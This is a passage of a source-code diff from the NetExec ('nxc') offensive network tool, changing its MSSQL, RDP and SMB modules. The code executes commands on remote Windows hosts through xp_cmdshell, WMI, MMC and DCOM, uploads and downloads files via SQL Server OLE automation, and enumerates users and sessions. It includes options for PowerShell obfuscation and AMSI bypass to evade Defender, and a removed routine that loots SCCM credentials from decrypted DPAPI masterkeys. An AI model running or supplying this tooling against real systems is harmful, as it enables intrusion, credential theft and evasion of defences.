-                result = "\n".join(line["output"] for line in result if line["output"] != "NULL")
-                self.logger.debug(f"Concatenated result together for easier parsing: {result}")
-                # if you prepend SilentlyContinue it will still output the error, but it will still continue on (so it's not silent...)
-                if "Preparing modules for first use" in result and "Completed" not in result:
-                    self.logger.error("Error when executing PowerShell (received 'preparing modules for first use'), try prepending $ProgressPreference = 'SilentlyContinue'; to your command")
+            result = self.mssql_conn.sql_query(f"exec master..xp_cmdshell '{command}'")
         except Exception as e:
             self.logger.error(f"Error when attempting to execute command via xp_cmdshell: {e}")
 
         try:
-            self.logger.debug("Attempting to disable xp cmd shell")
             self.disable_xp_cmdshell()
         except Exception as e:
             self.logger.error(f"[OPSEC] Error when attempting to disable xp_cmdshell: {e}")
-        return result
+
+        if output:
+            self.logger.debug(f"SQL Query Result: {result}")
+            for row in result:
+                if row["output"] == "NULL":
+                    continue
+                self.outputBuffer.append(row["output"])
+        else:
+            self.logger.info("Output set to disabled")
+
+        return self.outputBuffer
 
     def enable_xp_cmdshell(self):
-        query = "exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;exec master.dbo.sp_configure 'xp_cmdshell', 1;RECONFIGURE;"
-        self.logger.debug(f"Executing query: {query}")
-        self.mssql_conn.sql_query(query)
+        self.mssql_conn.sql_query("exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;exec master.dbo.sp_configure 'xp_cmdshell', 1;RECONFIGURE;")
 
     def disable_xp_cmdshell(self):
-        query = "exec sp_configure 'xp_cmdshell', 0 ;RECONFIGURE;exec sp_configure 'show advanced options', 0 ;RECONFIGURE;"
-        self.logger.debug(f"Executing query: {query}")
-        self.mssql_conn.sql_query(query)
+        self.mssql_conn.sql_query("exec sp_configure 'xp_cmdshell', 0 ;RECONFIGURE;exec sp_configure 'show advanced options', 0 ;RECONFIGURE;")
 
     def enable_ole(self):
-        query = "exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;exec master.dbo.sp_configure 'Ole Automation Procedures', 1;RECONFIGURE;"
-        self.logger.debug(f"Executing query: {query}")
-        self.mssql_conn.sql_query(query)
+        self.mssql_conn.sql_query("exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;exec master.dbo.sp_configure 'Ole Automation Procedures', 1;RECONFIGURE;")
 
     def disable_ole(self):
-        query = "exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;exec master.dbo.sp_configure 'Ole Automation Procedures', 0;RECONFIGURE;"
-        self.logger.debug(f"Executing query: {query}")
-        self.mssql_conn.sql_query(query)
+        self.mssql_conn.sql_query("exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;exec master.dbo.sp_configure 'Ole Automation Procedures', 0;RECONFIGURE;")
 
     def put_file(self, data, remote):
         try:
             self.enable_ole()
             hexdata = data.hex()
-            self.logger.debug(f"Hex data to write to file: {hexdata}")
-            query = f"DECLARE @ob INT;EXEC sp_OACreate 'ADODB.Stream', @ob OUTPUT;EXEC sp_OASetProperty @ob, 'Type', 1;EXEC sp_OAMethod @ob, 'Open';EXEC sp_OAMethod @ob, 'Write', NULL, 0x{hexdata};EXEC sp_OAMethod @ob, 'SaveToFile', NULL, '{remote}', 2;EXEC sp_OAMethod @ob, 'Close';EXEC sp_OADestroy @ob;"
-            self.logger.debug(f"Executing query: {query}")
-            self.mssql_conn.sql_query(query)
+            self.mssql_conn.sql_query(f"DECLARE @ob INT;EXEC sp_OACreate 'ADODB.Stream', @ob OUTPUT;EXEC sp_OASetProperty @ob, 'Type', 1;EXEC sp_OAMethod @ob, 'Open';EXEC sp_OAMethod @ob, 'Write', NULL, 0x{hexdata};EXEC sp_OAMethod @ob, 'SaveToFile', NULL, '{remote}', 2;EXEC sp_OAMethod @ob, 'Close';EXEC sp_OADestroy @ob;")
             self.disable_ole()
         except Exception as e:
             self.logger.debug(f"Error uploading via mssqlexec: {e}")
 
     def file_exists(self, remote):
         try:
-            query = f"DECLARE @r INT; EXEC master.dbo.xp_fileexist '{remote}', @r OUTPUT; SELECT @r as n"
-            self.logger.debug(f"Executing query: {query}")
-            res = self.mssql_conn.batch(query)
-            self.logger.debug(f"File check response: {res}")
-            return res[0]["n"] == 1
+            res = self.mssql_conn.batch(f"DECLARE @r INT; EXEC master.dbo.xp_fileexist '{remote}', @r OUTPUT; SELECT @r as n")[0]["n"]
+            return res == 1
         except Exception:
             return False
 
     def get_file(self, remote, local):
         try:
-            query = f"SELECT * FROM OPENROWSET(BULK N'{remote}', SINGLE_BLOB) rs"
-            self.logger.debug(f"Executing query: {query}")
-            self.mssql_conn.sql_query(query)
-            data = self.mssql_conn.rows
-            self.logger.debug(f"Get file returned: {data}")
+            self.mssql_conn.sql_query(f"SELECT * FROM OPENROWSET(BULK N'{remote}', SINGLE_BLOB) rs")
+            data = self.mssql_conn.rows[0]["BulkColumn"]
+
             with open(local, "wb+") as f:
-                f.write(binascii.unhexlify(data[0]["BulkColumn"]))
+                f.write(binascii.unhexlify(data))
+
         except Exception as e:
             self.logger.debug(f"Error downloading via mssqlexec: {e}")

nxc/protocols/mssql/proto_args.py

@@ -1,11 +1,8 @@
-from nxc.helpers.args import DisplayDefaultsNotNone
-
-
-def proto_args(parser, parents):
-    mssql_parser = parser.add_parser("mssql", help="own stuff using MSSQL", parents=parents, formatter_class=DisplayDefaultsNotNone)
+def proto_args(parser, std_parser, module_parser):
+    mssql_parser = parser.add_parser("mssql", help="own stuff using MSSQL", parents=[std_parser, module_parser])
     mssql_parser.add_argument("-H", "--hash", metavar="HASH", dest="hash", nargs="+", default=[], help="NTLM hash(es) or file(s) containing NTLM hashes")
-    mssql_parser.add_argument("--port", default=1433, type=int, metavar="PORT", help="MSSQL port")
-    mssql_parser.add_argument("--mssql-timeout", help="SQL server connection timeout", type=int, default=5)
+    mssql_parser.add_argument("--port", default=1433, type=int, metavar="PORT", help="MSSQL port (default: 1433)")
+    mssql_parser.add_argument("--mssql-timeout", help="SQL server connection timeout, default is %(default)s seconds", type=int, default=5)
     mssql_parser.add_argument("-q", "--query", dest="mssql_query", metavar="QUERY", type=str, help="execute the specified query against the MSSQL DB")
 
     dgroup = mssql_parser.add_mutually_exclusive_group()
@@ -13,20 +10,18 @@ def proto_args(parser, parents):
     dgroup.add_argument("--local-auth", action="store_true", help="authenticate locally to each target")
 
     cgroup = mssql_parser.add_argument_group("Command Execution", "options for executing commands")
+    cgroup.add_argument("--force-ps32", action="store_true", help="force the PowerShell command to run in a 32-bit process")
     cgroup.add_argument("--no-output", action="store_true", help="do not retrieve command output")
     xgroup = cgroup.add_mutually_exclusive_group()
     xgroup.add_argument("-x", metavar="COMMAND", dest="execute", help="execute the specified command")
     xgroup.add_argument("-X", metavar="PS_COMMAND", dest="ps_execute", help="execute the specified PowerShell command")
 
-    psgroup = mssql_parser.add_argument_group("Powershell Options", "Options for PowerShell execution")
-    psgroup.add_argument("--force-ps32", action="store_true", default=False, help="Force the PowerShell command to run in a 32-bit process via a job; WARNING: depends on the job completing quickly, so you may have to increase the timeout")
-    psgroup.add_argument("--obfs", action="store_true", default=False, help="Obfuscate PowerShell ran on target; WARNING: Defender will almost certainly trigger on this")
-    psgroup.add_argument("--amsi-bypass", nargs=1, metavar="FILE", type=str, help="File with a custom AMSI bypass")
+    psgroup = mssql_parser.add_argument_group("Powershell Obfuscation", "Options for PowerShell script obfuscation")
+    psgroup.add_argument("--obfs", action="store_true", help="Obfuscate PowerShell scripts")
     psgroup.add_argument("--clear-obfscripts", action="store_true", help="Clear all cached obfuscated PowerShell scripts")
-    psgroup.add_argument("--no-encode", action="store_true", default=False, help="Do not encode the PowerShell command ran on target")
 
     tgroup = mssql_parser.add_argument_group("Files", "Options for put and get remote files")
-    tgroup.add_argument("--put-file", nargs=2, metavar=("SRC_FILE", "DEST_FILE"), help="Put a local file into remote target, ex: whoami.txt C:\\\\Windows\\\\Temp\\\\whoami.txt")
-    tgroup.add_argument("--get-file", nargs=2, metavar=("SRC_FILE", "DEST_FILE"), help="Get a remote file, ex: C:\\\\Windows\\\\Temp\\\\whoami.txt whoami.txt")
+    tgroup.add_argument("--put-file", nargs=2, metavar=("SRC_FILE", "DEST_FILE"), help="Put a local file into remote target, ex: whoami.txt C:\\Windows\\Temp\\whoami.txt")
+    tgroup.add_argument("--get-file", nargs=2, metavar=("SRC_FILE", "DEST_FILE"), help="Get a remote file, ex: C:\\Windows\\Temp\\whoami.txt whoami.txt")
 
     return parser

nxc/protocols/rdp.py

@@ -150,16 +150,10 @@ class rdp(connection):
 
         if self.args.domain:
             self.domain = self.args.domain
+
         if self.args.local_auth:
             self.domain = self.hostname
 
-        self.remoteName = self.host if not self.kerberos else f"{self.hostname}.{self.domain}"
-
-        if not self.kdcHost and self.domain:
-            result = self.resolver(self.domain)
-            self.kdcHost = result["host"] if result else None
-            self.logger.info(f"Resolved domain: {self.domain} with dns, kdcHost: {self.kdcHost}")
-
         self.target = RDPTarget(
             ip=self.host,
             hostname=self.hostname,
@@ -226,17 +220,7 @@ class rdp(connection):
             else:
                 stype = asyauthSecret.PASS if not nthash else asyauthSecret.NT
 
-            kerberos_target = UniTarget(
-                self.host,
-                88,
-                UniProto.CLIENT_TCP,
-                timeout=self.args.rdp_timeout,
-                hostname=self.remoteName,
-                dc_ip=self.kdcHost,
-                domain=self.domain,
-                proxies=None,
-                dns=None,
-            )
+            kerberos_target = UniTarget(self.domain, 88, UniProto.CLIENT_TCP, proxies=None, dns=None, dc_ip=self.domain, domain=self.domain)
             self.auth = KerberosCredential(
                 target=kerberos_target,
                 secret=password,

nxc/protocols/rdp/database.py

@@ -3,7 +3,7 @@ from pathlib import Path
 from sqlalchemy.orm import sessionmaker, scoped_session
 from sqlalchemy import MetaData, Table
 from sqlalchemy.exc import (
-    # IllegalStateChangeError,
+    IllegalStateChangeError,
     NoInspectionAvailable,
     NoSuchTableError,
 )
@@ -57,7 +57,7 @@ class database:
                 print(
                     f"""
                     [-] Error reflecting tables for the {self.protocol} protocol - this means there is a DB schema mismatch
-                    [-] This is probably because a newer version of nxc is being run on an old DB schema
+                    [-] This is probably because a newer version of nxc is being ran on an old DB schema
                     [-] Optionally save the old DB data (`cp {self.db_path} ~/nxc_{self.protocol.lower()}.bak`)
                     [-] Then remove the {self.protocol} DB (`rm -f {self.db_path}`) and run nxc to initialize the new DB"""
                 )
@@ -69,7 +69,7 @@ class database:
         # due to the async nature of nxc, sometimes session state is a bit messy and this will throw:
         # Method 'close()' can't be called here; method '_connection_for_bind()' is already in progress and
         # this would cause an unexpected state change to <SessionTransactionState.CLOSED: 5>
-        except Exception as e:
+        except IllegalStateChangeError as e:
             nxc_logger.debug(f"Error while closing session db object: {e}")
 
     def clear_database(self):

nxc/protocols/rdp/proto_args.py

@@ -1,11 +1,8 @@
-from nxc.helpers.args import DisplayDefaultsNotNone
-
-
-def proto_args(parser, parents):
-    rdp_parser = parser.add_parser("rdp", help="own stuff using RDP", parents=parents, formatter_class=DisplayDefaultsNotNone)
+def proto_args(parser, std_parser, module_parser):
+    rdp_parser = parser.add_parser("rdp", help="own stuff using RDP", parents=[std_parser, module_parser])
     rdp_parser.add_argument("-H", "--hash", metavar="HASH", dest="hash", nargs="+", default=[], help="NTLM hash(es) or file(s) containing NTLM hashes")
-    rdp_parser.add_argument("--port", type=int, default=3389, help="RDP port")
-    rdp_parser.add_argument("--rdp-timeout", type=int, default=5, help="RDP timeout on socket connection")
+    rdp_parser.add_argument("--port", type=int, default=3389, help="Custom RDP port")
+    rdp_parser.add_argument("--rdp-timeout", type=int, default=5, help="RDP timeout on socket connection, defalut is %(default)ss")
     rdp_parser.add_argument("--nla-screenshot", action="store_true", help="Screenshot RDP login prompt if NLA is disabled")
 
     dgroup = rdp_parser.add_mutually_exclusive_group()
@@ -14,7 +11,7 @@ def proto_args(parser, parents):
 
     egroup = rdp_parser.add_argument_group("Screenshot", "Remote Desktop Screenshot")
     egroup.add_argument("--screenshot", action="store_true", help="Screenshot RDP if connection success")
-    egroup.add_argument("--screentime", type=int, default=10, help="Time to wait for desktop image")
-    egroup.add_argument("--res", default="1024x768", help="Resolution in WIDTHxHEIGHT format")
+    egroup.add_argument("--screentime", type=int, default=10, help="Time to wait for desktop image, default is %(default)ss")
+    egroup.add_argument("--res", default="1024x768", help='Resolution in "WIDTHxHEIGHT" format. Default: "1024x768"')
 
     return parser

nxc/protocols/smb.py

@@ -49,13 +49,12 @@ from nxc.helpers.bloodhound import add_user_bh
 from nxc.helpers.powershell import create_ps_command
 
 from dploot.triage.vaults import VaultsTriage
-from dploot.triage.browser import BrowserTriage, LoginData, GoogleRefreshToken
+from dploot.triage.browser import BrowserTriage
 from dploot.triage.credentials import CredentialsTriage
 from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file
 from dploot.triage.backupkey import BackupkeyTriage
 from dploot.lib.target import Target
 from dploot.lib.smb import DPLootSMBConnection
-from dploot.triage.sccm import SCCMTriage
 
 from pywerview.cli.helpers import get_localdisks, get_netsession, get_netgroupmember, get_netgroup, get_netcomputer, get_netloggedon, get_netlocalgroup
 
@@ -212,23 +211,8 @@ class smb(connection):
                 # no ntlm supported
                 self.no_ntlm = True
 
-        # self.domain is the attribute we authenticate with
-        # self.targetDomain is the attribute which gets displayed as host domain
-        if not self.no_ntlm:
-            self.hostname = self.conn.getServerName()
-            self.targetDomain = self.conn.getServerDNSDomainName()
-            if not self.targetDomain:   # Not sure if that can even happen but now we are safe
-                self.targetDomain = self.hostname
-        else:
-            self.hostname = self.host
-            self.targetDomain = self.hostname
-
-        self.domain = self.targetDomain if not self.args.domain else self.args.domain
-
-        if self.args.local_auth:
-            self.domain = self.hostname
-            self.targetDomain = self.hostname
-
+        self.domain = self.conn.getServerDNSDomainName() if not self.no_ntlm else self.args.domain
+        self.hostname = self.conn.getServerName() if not self.no_ntlm else self.host
         self.server_os = self.conn.getServerOS()
         self.logger.extra["hostname"] = self.hostname
 
@@ -243,6 +227,9 @@ class smb(connection):
         self.os_arch = self.get_os_arch()
         self.output_filename = os.path.expanduser(f"~/.nxc/logs/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}".replace(":", "-"))
 
+        if not self.domain:
+            self.domain = self.hostname
+
         self.db.add_host(
             self.host,
             self.hostname,
@@ -257,26 +244,24 @@ class smb(connection):
             self.conn.logoff()
         except Exception as e:
             self.logger.debug(f"Error logging off system: {e}")
-        
-        # DCOM connection with kerberos needed
-        self.remoteName = self.host if not self.kerberos else f"{self.hostname}.{self.domain}"
 
-        if not self.kdcHost and self.domain:
-            result = self.resolver(self.domain)
-            self.kdcHost = result["host"] if result else None
-            self.logger.info(f"Resolved domain: {self.domain} with dns, kdcHost: {self.kdcHost}")
+        if self.args.domain:
+            self.domain = self.args.domain
+        if self.args.local_auth:
+            self.domain = self.hostname
 
     def print_host_info(self):
         signing = colored(f"signing:{self.signing}", host_info_colors[0], attrs=["bold"]) if self.signing else colored(f"signing:{self.signing}", host_info_colors[1], attrs=["bold"])
         smbv1 = colored(f"SMBv1:{self.smbv1}", host_info_colors[2], attrs=["bold"]) if self.smbv1 else colored(f"SMBv1:{self.smbv1}", host_info_colors[3], attrs=["bold"])
-        self.logger.display(f"{self.server_os}{f' x{self.os_arch}' if self.os_arch else ''} (name:{self.hostname}) (domain:{self.targetDomain}) ({signing}) ({smbv1})")
+        self.logger.display(f"{self.server_os}{f' x{self.os_arch}' if self.os_arch else ''} (name:{self.hostname}) (domain:{self.domain}) ({signing}) ({smbv1})")
         return True
 
     def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False):
         logging.getLogger("impacket").disabled = True
         # Re-connect since we logged off
-        self.logger.debug(f"KDC set to: {kdcHost}")
-        self.create_conn_obj()
+        kdc_host = f"{self.hostname}.{self.domain}" if not self.no_ntlm else f"{self.host}"
+        self.logger.debug(f"KDC set to: {kdc_host}")
+        self.create_conn_obj(kdc_host)
         lmhash = ""
         nthash = ""
 
@@ -483,11 +468,11 @@ class smb(connection):
             self.logger.fail("Broken Pipe Error while attempting to login")
             return False
 
-    def create_smbv1_conn(self):
+    def create_smbv1_conn(self, kdc=""):
         try:
             self.conn = SMBConnection(
-                self.remoteName,
-                self.host,
+                kdc if kdc else self.host,
+                kdc if kdc else self.host,
                 None,
                 self.port,
                 preferredDialect=SMB_DIALECT,
@@ -496,19 +481,19 @@ class smb(connection):
             self.smbv1 = True
         except OSError as e:
             if str(e).find("Connection reset by peer") != -1:
-                self.logger.info(f"SMBv1 might be disabled on {self.host}")
+                self.logger.info(f"SMBv1 might be disabled on {kdc if kdc else self.host}")
             return False
         except (Exception, NetBIOSTimeout) as e:
-            self.logger.info(f"Error creating SMBv1 connection to {self.host}: {e}")
+            self.logger.info(f"Error creating SMBv1 connection to {kdc if kdc else self.host}: {e}")
             return False
 
         return True
 
-    def create_smbv3_conn(self):
+    def create_smbv3_conn(self, kdc=""):
         try:
             self.conn = SMBConnection(
-                self.remoteName,
-                self.host,
+                kdc if kdc else self.host,
+                kdc if kdc else self.host,
                 None,
                 self.port,
                 timeout=self.args.smb_timeout,
@@ -520,15 +505,15 @@ class smb(connection):
                 if not self.logger:
                     print("DEBUG ERROR: logger not set, please open an issue on github: " + str(self) + str(self.logger))
                     self.proto_logger()
-                self.logger.fail(f"SMBv3 connection error on {self.host}: {e}")
+                self.logger.fail(f"SMBv3 connection error on {kdc if kdc else self.host}: {e}")
             return False
         except (Exception, NetBIOSTimeout) as e:
-            self.logger.info(f"Error creating SMBv3 connection to {self.host}: {e}")
+            self.logger.info(f"Error creating SMBv3 connection to {kdc if kdc else self.host}: {e}")
             return False
         return True
 
-    def create_conn_obj(self):
-        return bool(self.create_smbv1_conn() or self.create_smbv3_conn())
+    def create_conn_obj(self, kdc_host=None):
+        return bool(self.create_smbv1_conn(kdc_host) or self.create_smbv3_conn(kdc_host))
 
     def check_if_admin(self):
         rpctransport = SMBTransport(self.conn.getRemoteHost(), 445, r"\svcctl", smb_connection=self.conn)
@@ -572,7 +557,7 @@ class smb(connection):
             if method == "wmiexec":
                 try:
                     exec_method = WMIEXEC(
-                        self.remoteName,
+                        self.host if not self.kerberos else self.hostname + "." + self.domain,
                         self.smb_share_name,
                         self.username,
                         self.password,
@@ -581,7 +566,6 @@ class smb(connection):
                         self.kerberos,
                         self.aesKey,
                         self.kdcHost,
-                        self.host,
                         self.hash,
                         self.args.share,
                         logger=self.logger,
@@ -596,25 +580,18 @@ class smb(connection):
                     continue
             elif method == "mmcexec":
                 try:
-                    # https://github.com/fortra/impacket/issues/1611
-                    if self.kerberos:
-                        raise Exception("MMCExec current is buggly with kerberos")
                     exec_method = MMCEXEC(
-                        self.remoteName,
+                        self.host if not self.kerberos else self.hostname + "." + self.domain,
                         self.smb_share_name,
                         self.username,
                         self.password,
                         self.domain,
                         self.conn,
-                        self.kerberos,
-                        self.aesKey,
-                        self.kdcHost,
-                        self.host,
-                        self.hash,
                         self.args.share,
-                        logger=self.logger,
-                        timeout=self.args.dcom_timeout,
-                        tries=self.args.get_output_tries
+                        self.hash,
+                        self.logger,
+                        self.args.get_output_tries,
+                        self.args.dcom_timeout
                     )
                     self.logger.info("Executed command via mmcexec")
                     break
@@ -632,7 +609,6 @@ class smb(connection):
                         self.domain,
                         self.kerberos,
                         self.aesKey,
-                        self.host,
                         self.kdcHost,
                         self.hash,
                         self.logger,
@@ -651,12 +627,12 @@ class smb(connection):
                         self.host if not self.kerberos else self.hostname + "." + self.domain,
                         self.smb_share_name,
                         self.conn,
+                        self.port,
                         self.username,
                         self.password,
                         self.domain,
                         self.kerberos,
                         self.aesKey,
-                        self.host,
                         self.kdcHost,
                         self.hash,
                         self.args.share,
@@ -682,19 +658,14 @@ class smb(connection):
             except UnicodeDecodeError:
                 self.logger.debug("Decoding error detected, consider running chcp.com at the target, map the result with https://docs.python.org/3/library/codecs.html#standard-encodings")
                 output = output.decode("cp437")
-                
-            self.logger.debug(f"Raw Output: {output}")
-            output = "\n".join([ll.rstrip() for ll in output.splitlines() if ll.strip()])
-            self.logger.debug(f"Cleaned Output: {output}")
-            
-            if "This script contains malicious content" in output:
-                self.logger.fail("Command execution blocked by AMSI")
-                return None
+
+            output = output.strip()
+            self.logger.debug(f"Output: {output}")
 
             if (self.args.execute or self.args.ps_execute) and output:
                 self.logger.success(f"Executed command via {current_method}")
-                output_lines = StringIO(output).readlines()
-                for line in output_lines:
+                buf = StringIO(output).readlines()
+                for line in buf:
                     self.logger.highlight(line.strip())
             return output
         else:
@@ -702,30 +673,26 @@ class smb(connection):
             return False
 
     @requires_admin
-    def ps_execute(self, payload=None, get_output=False, methods=None, force_ps32=False, obfs=False, encode=False):
-        payload = self.args.ps_execute if not payload and self.args.ps_execute else payload
-        if not payload:
-            self.logger.error("No command to execute specified!")
-            return None
-        
+    def ps_execute(
+        self,
+        payload=None,
+        get_output=False,
+        methods=None,
+        force_ps32=False,
+        dont_obfs=False,
+    ):
         response = []
-        obfs = obfs if obfs else self.args.obfs
-        encode = encode if encode else not self.args.no_encode
-        force_ps32 = force_ps32 if force_ps32 else self.args.force_ps32
-        get_output = True if not self.args.no_output else get_output
-                
-        self.logger.debug(f"Starting ps_execute(): {payload=} {get_output=} {methods=} {force_ps32=} {obfs=} {encode=}")
+        if not payload and self.args.ps_execute:
+            payload = self.args.ps_execute
+            if not self.args.no_output:
+                get_output = True
+
         amsi_bypass = self.args.amsi_bypass[0] if self.args.amsi_bypass else None
-        self.logger.debug(f"AMSI Bypass: {amsi_bypass}")
-        
         if os.path.isfile(payload):
-            self.logger.debug(f"File payload set: {payload}")
             with open(payload) as commands:
-                response = [self.execute(create_ps_command(c.strip(), force_ps32=force_ps32, obfs=obfs, custom_amsi=amsi_bypass, encode=encode), get_output, methods) for c in commands]
+                response = [self.execute(create_ps_command(c.strip(), force_ps32=force_ps32, dont_obfs=dont_obfs, custom_amsi=amsi_bypass), get_output, methods) for c in commands]
         else:
-            response = [self.execute(create_ps_command(payload, force_ps32=force_ps32, obfs=obfs, custom_amsi=amsi_bypass, encode=encode), get_output, methods)]
-            
-        self.logger.debug(f"ps_execute response: {response}")
+            response = [self.execute(create_ps_command(payload, force_ps32=force_ps32, dont_obfs=dont_obfs, custom_amsi=amsi_bypass), get_output, methods)]
         return response
 
     def shares(self):
@@ -1033,11 +1000,10 @@ class smb(connection):
         return groups
 
     def users(self):
-        if len(self.args.users) > 0:
-            self.logger.debug(f"Dumping users: {', '.join(self.args.users)}")
-        return UserSamrDump(self).dump(self.args.users)
+        self.logger.display("Trying to dump local users with SAMRPC protocol")
+        return UserSamrDump(self).dump()
 
-    def computers(self):
+    def hosts(self):
         hosts = []
         for dc_ip in self.get_dc_ips():
             try:
@@ -1059,7 +1025,7 @@ class smb(connection):
                     self.logger.highlight(f"{domain}\\{host_clean:<30}")
                 break
             except Exception as e:
-                self.logger.fail(f"Error enumerating domain computers using dc ip {dc_ip}: {e}")
+                self.logger.fail(f"Error enumerating domain hosts using dc ip {dc_ip}: {e}")
                 break
         return hosts
 
@@ -1074,17 +1040,17 @@ class smb(connection):
                 lmhash=self.lmhash,
                 nthash=self.nthash,
             )
-            logged_on = {(f"{user.wkui1_logon_domain}\\{user.wkui1_username}", user.wkui1_logon_server) for user in logged_on}
             self.logger.success("Enumerated logged_on users")
             if self.args.loggedon_users_filter:
                 for user in logged_on:
-                    if re.match(self.args.loggedon_users_filter, user[0].split("\\")[1]):
-                        self.logger.highlight(f"{user[0]:<25} {f'logon_server: {user[1]}'}")
+                    if re.match(self.args.loggedon_users_filter, user.wkui1_username):
+                        self.logger.highlight(f"{user.wkui1_logon_domain}\\{user.wkui1_username:<25} {f'logon_server: {user.wkui1_logon_server}' if user.wkui1_logon_server else ''}")
             else:
                 for user in logged_on:
-                    self.logger.highlight(f"{user[0]:<25} {f'logon_server: {user[1]}'}")
+                    self.logger.highlight(f"{user.wkui1_logon_domain}\\{user.wkui1_username:<25} {f'logon_server: {user.wkui1_logon_server}' if user.wkui1_logon_server else ''}")
         except Exception as e:
             self.logger.fail(f"Error enumerating logged on users: {e}")
+        return logged_on
 
     def pass_pol(self):
         return PassPolDump(self).dump()
@@ -1099,9 +1065,9 @@ class smb(connection):
             namespace = self.args.wmi_namespace
 
         try:
-            dcom = DCOMConnection(self.remoteName, self.username, self.password, self.domain, self.lmhash, self.nthash, oxidResolver=True, doKerberos=self.kerberos, kdcHost=self.kdcHost, aesKey=self.aesKey, remoteHost=self.host)
+            dcom = DCOMConnection(self.host if not self.kerberos else self.hostname + "." + self.domain, self.username, self.password, self.domain, self.lmhash, self.nthash, oxidResolver=True, doKerberos=self.kerberos, kdcHost=self.kdcHost, aesKey=self.aesKey)
             iInterface = dcom.CoCreateInstanceEx(CLSID_WbemLevel1Login, IID_IWbemLevel1Login)
-            flag, stringBinding = dcom_FirewallChecker(iInterface, self.host, self.args.dcom_timeout)
+            flag, stringBinding = dcom_FirewallChecker(iInterface, self.args.dcom_timeout)
             if not flag or not stringBinding:
                 error_msg = f"WMI Query: Dcom initialization failed on connection with stringbinding: '{stringBinding}', please increase the timeout with the option '--dcom-timeout'. If it's still failing maybe something is blocking the RPC connection, try another exec method"
 
@@ -1127,8 +1093,7 @@ class smb(connection):
                     record = wmi_results.getProperties()
                     records.append(record)
                     for k, v in record.items():
-                        if k != "TimeGenerated":  # from the wcc module, but this is a small hack to get it to stop spamming - TODO: add in method to disable output for this function
-                            self.logger.highlight(f"{k} => {v['value']}")
+                        self.logger.highlight(f"{k} => {v['value']}")
                 except Exception as e:
                     if str(e).find("S_FALSE") < 0:
                         raise e
@@ -1182,16 +1147,20 @@ class smb(connection):
             max_rid = int(self.args.rid_brute)
 
         KNOWN_PROTOCOLS = {
-            135: {"bindstr": rf"ncacn_ip_tcp:{self.host}"},
-            139: {"bindstr": rf"ncacn_np:{self.host}[\pipe\lsarpc]"},
-            445: {"bindstr": rf"ncacn_np:{self.host}[\pipe\lsarpc]"},
+            135: {"bindstr": r"ncacn_ip_tcp:%s", "set_host": False},
+            139: {"bindstr": r"ncacn_np:{}[\pipe\lsarpc]", "set_host": True},
+            445: {"bindstr": r"ncacn_np:{}[\pipe\lsarpc]", "set_host": True},
         }
 
         try:
+            full_hostname = self.host if not self.kerberos else self.hostname + "." + self.domain
             string_binding = KNOWN_PROTOCOLS[self.port]["bindstr"]
             logging.debug(f"StringBinding {string_binding}")
             rpc_transport = transport.DCERPCTransportFactory(string_binding)
-            rpc_transport.setRemoteHost(self.host)
+            rpc_transport.set_dport(self.port)
+
+            if KNOWN_PROTOCOLS[self.port]["set_host"]:
+                rpc_transport.setRemoteHost(full_hostname)
 
             if hasattr(rpc_transport, "set_credentials"):
                 # This method exists only for selected protocol sequences.
@@ -1269,21 +1238,19 @@ class smb(connection):
         dce.disconnect()
         return entries
 
-    def put_file_single(self, src, dst):
-        self.logger.display(f"Copying {src} to {dst}")
-        with open(src, "rb") as file:
+    def put_file(self):
+        self.logger.display(f"Copying {self.args.put_file[0]} to {self.args.put_file[1]}")
+        with open(self.args.put_file[0], "rb") as file:
             try:
-                self.conn.putFile(self.args.share, dst, file.read)
-                self.logger.success(f"Created file {src} on \\\\{self.args.share}\\{dst}")
+                self.conn.putFile(self.args.share, self.args.put_file[1], file.read)
+                self.logger.success(f"Created file {self.args.put_file[0]} on \\\\{self.args.share}\\{self.args.put_file[1]}")
             except Exception as e:
                 self.logger.fail(f"Error writing file to share {self.args.share}: {e}")
-    
-    def put_file(self):
-        for src, dest in self.args.put_file:
-            self.put_file_single(src, dest)
 
-    def get_file_single(self, remote_path, download_path):
+    def get_file(self):
         share_name = self.args.share
+        remote_path = self.args.get_file[0]
+        download_path = self.args.get_file[1]
         self.logger.display(f'Copying "{remote_path}" to "{download_path}"')
         if self.args.append_host:
             download_path = f"{self.hostname}-{remote_path}"
@@ -1296,11 +1263,6 @@ class smb(connection):
                 if os.path.getsize(download_path) == 0:
                     os.remove(download_path)
 
-    def get_file(self):
-        for src, dest in self.args.get_file:
-            self.get_file_single(src, dest)
-
-
     def enable_remoteops(self):
         try:
             self.remote_ops = RemoteOperations(self.conn, self.kerberos, self.kdcHost)
@@ -1355,67 +1317,10 @@ class smb(connection):
         except Exception as e:
             self.logger.exception(str(e))
 
-    @requires_admin
-    def sccm(self):
-        masterkeys = []
-        if self.args.mkfile is not None:
-            try:
-                masterkeys += parse_masterkey_file(self.args.mkfile)
-            except Exception as e:
-                self.logger.fail(str(e))
-
-        target = Target.create(
-            domain=self.domain,
-            username=self.username,
-            password=self.password,
-            target=self.hostname + "." + self.domain if self.kerberos else self.host,
-            lmhash=self.lmhash,
-            nthash=self.nthash,
-            do_kerberos=self.kerberos,
-            aesKey=self.aesKey,
-            no_pass=True,
-            use_kcache=self.use_kcache,
-        )
-
-        try:
-            conn = DPLootSMBConnection(target)
-            conn.smb_session = self.conn
-        except Exception as e:
-            self.logger.debug(f"Could not upgrade connection: {e}")
-            return
-        
-        try:
-            self.logger.display("Collecting Machine masterkeys, grab a coffee and be patient...")
-            masterkeys_triage = MasterkeysTriage(
-                target=target,
-                conn=conn,
-                dpapiSystem={},
-            )
-            masterkeys += masterkeys_triage.triage_system_masterkeys()
-        except Exception as e:
-            self.logger.debug(f"Could not get masterkeys: {e}")
-
-        if len(masterkeys) == 0:
-            self.logger.fail("No masterkeys looted")
-            return
-        
-        self.logger.success(f"Got {highlight(len(masterkeys))} decrypted masterkeys. Looting SCCM Credentials through {self.args.sccm}")
-        try:
-            # Collect Chrome Based Browser stored secrets
-            sccm_triage = SCCMTriage(target=target, conn=conn, masterkeys=masterkeys, use_wmi=self.args.sccm == "wmi")
-            sccmcreds, sccmtasks, sccmcollections = sccm_triage.triage_sccm()
-            for sccmcred in sccmcreds:
